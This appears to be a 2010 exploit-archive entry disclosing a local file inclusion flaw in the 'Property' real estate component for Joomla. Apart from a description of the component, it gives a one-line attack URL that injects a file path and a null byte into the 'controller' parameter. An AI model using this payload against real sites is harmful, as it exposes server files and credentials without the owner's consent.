Joomla Component Property Local File Inclusion Vulnerability

2010-03-23T00:00:00
ID 1337DAY-ID-11412
Type zdt
Reporter Chip D3 Bi0s
Modified 2010-03-23T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ============================================================
Joomla Component Property Local File Inclusion Vulnerability
============================================================

---------------------------------------------------------------------------------
Joomla Component Property Local File Inclusion
---------------------------------------------------------------------------------
 
Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 22 March 2010
Critical Lvl    : Moderate
Impact          : Exposure of sensitive information
Where           : From Remote
---------------------------------------------------------------------------
 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
Application     : Property
Developer       : este8an
License         : GPL            type  : Non Commercial
Date Added  : 22 January 2009
Download    : http://www.com-property.com/download.html?func=select&id=2
 
Description     :
 
Property is a new Real Estate component 100% FREE native Joomla 1.5.
compatible with sh404sef and joomfish.
 
Add Profiles (Agent data: Client is a user joomla registered)
Can change permissions in User Manager to 'Agent' , then this
user can publish various properties.
 
Control Panel
button Create Menus automatically creates menus in FrontEnd :
All Properties,
My Short List(Favorites),
My Panel(to publish properties),
My Profile.
 
You can change names after created.
---------------------------------------------------------------------------
how to exploit
 
http://localhost/index.php?option=com_properties&controller=[LFI]%00
 
 
+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++



#  0day.today [2018-03-05]  #